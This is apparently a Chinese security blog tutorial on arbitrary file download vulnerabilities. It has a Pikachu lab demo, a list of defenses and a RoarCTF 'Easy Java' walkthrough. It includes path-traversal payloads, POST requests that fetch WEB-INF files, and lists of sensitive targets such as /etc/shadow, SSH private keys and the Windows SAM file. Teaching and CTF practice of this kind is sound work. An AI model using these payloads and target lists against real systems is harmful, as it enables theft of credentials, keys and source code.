文件下载漏洞

文件下载漏洞

原理

任意漏洞下载是因为一般的网站提供了下载文件功能,但是在获得文件到下载文件的时候并没有进行一些过滤,这就导致了漏洞的产生。
网站下载地址类似 https://www.test.com/upload/xiazai.php?file=/wenjian/123.doc格式网站有可能存在,因为文件名是作为一个参数传入的。如果下载地址是 http://www.test.com/upload/wenjian/123.doc格式,不带参数传入文件名的则不存在文件下载漏洞
区别

文件被解析--文件包含漏洞
显示源代码--文件读取漏洞
提示文件下载--文件下载漏洞

pikachu演示

1随便下载一个图片,分析一下下载链接
在这里插入图片描述【http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=ns.png】
【http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=rayal.png】
很明显filename参数这里存在文件下载漏洞,接下来可以使用御剑等工具进行探针,看一看存在哪些敏感文件,构造我们所需要的下载链接
在这里插入图片描述
构造链接的方法:1使用工具爬行–御剑、铸剑等 2下载好的文件代码中去分析路径和文件包含
举例:config.php配置文件—>得到数据库密码—>连接数据库

http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename-../../inc/function.php

下载成功
在这里插入图片描述

常见文件路径

Windows:
   C:\boot.ini  //查看系统版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存储系统初次安装的密码
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
Linux:
   /etc/passwd                  #查看用户文件
   /etc/shadow                  #查看密码文件
   /etc/my.cnf 
   /etc/httpd/conf/httpd.conf   #查看apache的配置文件
   /root/.bash_history          #查看历史命令
   /root/.mysql_history         #mysql历史命令记录文件
   /var/lib/mlocate/mlocate.db  #本地所有文件信息
   /etc/ssh/sshd_config         #ssh配置文件,如果对外开放可看到端口
   /proc/self/fd/fd[0-9]*(文件标识符)
   /proc/mounts
   /porc/config.gz
   /root/.ssh/authorized_keys                
   /root/.ssh/id_rsa  
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts

程序的配置文件
apache:
    /etc/httpd/conf/httpd.conf
    /etc/apache2/httpd.conf
    /etc/apache2/apache2.conf
nginx:
    /etc/nginx/nginx.conf
    /usr/local/nginx/conf/nginx.conf
    /usr/local/etc/nginx/nginx.conf
redis:
    /etc/redis.conf
    index.php?f=../../../../../../etc/passwd 

防御手段

1:净化数据:对用户传过来的文件名参数进行统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。
过滤.(点),使用户在url中不能回溯上级目录 正则严格判断用户输入参数的格式
2:要下载的文件地址保存至数据库中。
3:文件路径保存至数据库,让用户提交文件对应ID下载文件。
4:用户下载文件之前需要进行权限判断。
5:文件放在web无法直接访问的目录下。
6:不允许提供目录遍历服务。
7:公开文件可放置在web应用程序下载目录中通过链接进行下载
8:php.ini配置open_basedir限定文件访问范围

CTF真题复现

buu [RoarCTF 2019]Easy Java

题目地址:http://e46c7bc8-5ac2-4ca4-ac88-1ef3a2888e73.node4.buuoj.cn:81/
1点击一下help
在这里插入图片描述

这里对WEB-INF进行一个简单的了解。
WEB-INF是java的WEB应用的安全目录。
1.WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
2.WEB-INF/classes:包含了站点所有用的class文件,包括servlet class和非servlet class
3.WEB-INF/lib:存放web应用需要的JAR文件
4.WEB-INF/src:源码目录,按照包名结构放置各个java文件
5.WEB-INF/database.properties:数据库配置文件
6.WEB-INF/tags:存放了自定义标签文件
7.WEB-INF/jsp:jsp 1.2 一下版本的文件存放位置。
8.WEB-INF/jsp2:存放jsp2.0以下版本的文件。
9.META-INF:相当于一个信息包。

漏洞成因

通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。

漏洞检测以及利用方法

通过找到web.xml文件,推断class文件的路径,最后得到class文件,再通过反编译class文件,得到网站源码。
找web.xml:直接请求/WEB-INF/web.xml或者更换为POST请求
2这里使用post请求:

http://93afad24-6b0b-4cc4-85ac-b07a8275c6c9.node4.buuoj.cn:81/Download
POST:
filename=/WEB-INF/web.xml

在这里插入图片描述
成功下载
在这里插入图片描述
3得到文件,里面有FlagController
在这里插入图片描述
4构造请求

http://93afad24-6b0b-4cc4-85ac-b07a8275c6c9.node4.buuoj.cn:81/Download
POST:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述在这里插入图片描述在这里插入图片描述
5得到文件,里面有一段base64编码,解码得到flag{557e9214-8a40-4741-af00-682ff0a62fbf}
在这里插入图片描述

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值